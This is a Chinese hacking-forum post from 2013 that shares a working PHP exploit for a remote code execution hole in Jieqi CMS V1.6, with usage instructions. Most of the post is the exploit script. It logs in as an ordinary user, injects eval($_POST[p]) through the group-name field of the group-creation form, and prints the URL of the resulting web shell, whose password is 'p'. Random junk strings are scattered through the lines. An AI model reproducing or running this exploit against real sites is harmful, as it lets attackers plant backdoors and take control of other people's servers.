找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2244|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
% J5 t- {0 m: a4 K. t  x
6 O3 ^* x. `7 l8 x# _3 B* I) _
" f0 U* S6 Z( ?* ]0 X9 y; X! N该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
4 ?# ]8 N! |) I3 V+ q 需要有一个能创建圈子的用户。0 j6 R1 h4 b- Y4 M4 m

& W; \2 p! b# e% h<?php4 C! z4 }6 T4 n
- X# e( B4 p, `+ l+ U
print_r('
3 A+ w/ \# s  T( k1 V+---------------------------------------------------------------------------+
1 p( r, y7 E0 ^: Z' _Jieqi CMS V1.6 PHP Code Injection Exploit
8 f, Y6 ^( p# c. `0 v  U* V: c. uby flyh4t9 ]% u$ ^4 l) J8 E
mail: phpsec at hotmail dot com7 Z. j. i) W( V: {
team: http://www.wolvez.org
; Q, e) Q  L' q; T2 W+---------------------------------------------------------------------------+
( }3 b* y* H" [% |( x. d'); /**& I8 O0 M7 _& f
* works regardless of php.ini settings" M* p) s# N: b. E. E3 M
*/ if ($argc < 5) { print_r('
. M8 z5 H3 Z6 x  x, G1 ?; d/ r+---------------------------------------------------------------------------+5 i1 P# g* A2 W. u/ R) L8 A( o
Usage: php '.$argv[0].' host path username3 ^. k  a# U% e' [8 k9 `
host:      target server (ip/hostname)
' ?: i5 Z3 p4 q5 [path:      path to jieqicms
3 l) S  t$ s7 r+ F$ C! suasename:  a username who can create group9 F& b' X. `% {# }- K
Example:
+ q8 X& e, R6 I) X6 lphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password3 G! [* V  p1 H6 _* m* d
+---------------------------------------------------------------------------+; i# K. w# b- ~
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961. y2 d0 V9 C8 v- }, f& w
Content-Disposition: form-data; name="gname"
  b2 G: h- e0 ]( H 4 l1 e( a$ _, S0 A( S, U6 s. `
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t; v+ N9 ]/ E% Y  Q" [  v7 S
-----------------------------23281168279961
9 R7 d" O5 Q/ c$ uContent-Disposition: form-data; name="gcatid"" m% P0 x4 X4 X4 ~0 o
7 k+ Z: @& k. n0 A
1
) y2 a; g8 o" S+ R4 V8 p2 T-----------------------------23281168279961  R; N. o1 ?& r9 v# f2 i
Content-Disposition: form-data; name="gaudit"% _( z, X" d7 M0 j' X0 B

& L/ o6 c; V0 C5 K! E! S1. w2 U5 ^& [" F( R  A+ L- L% t
-----------------------------23281168279961
' O1 D- P. h& J0 c& t& ~4 G& i+ LContent-Disposition: form-data; name="gbrief"
7 g7 a- m0 M3 g+ o 7 ?3 L& w( D/ t3 F, U0 f
14 H. }7 U+ x3 @( J, o
-----------------------------23281168279961--
" r" Q5 ]0 t! O0 w4 B  C'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com& l3 N% |. S$ i8 _
/ k) U" L; f$ V8 v! l/ j
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表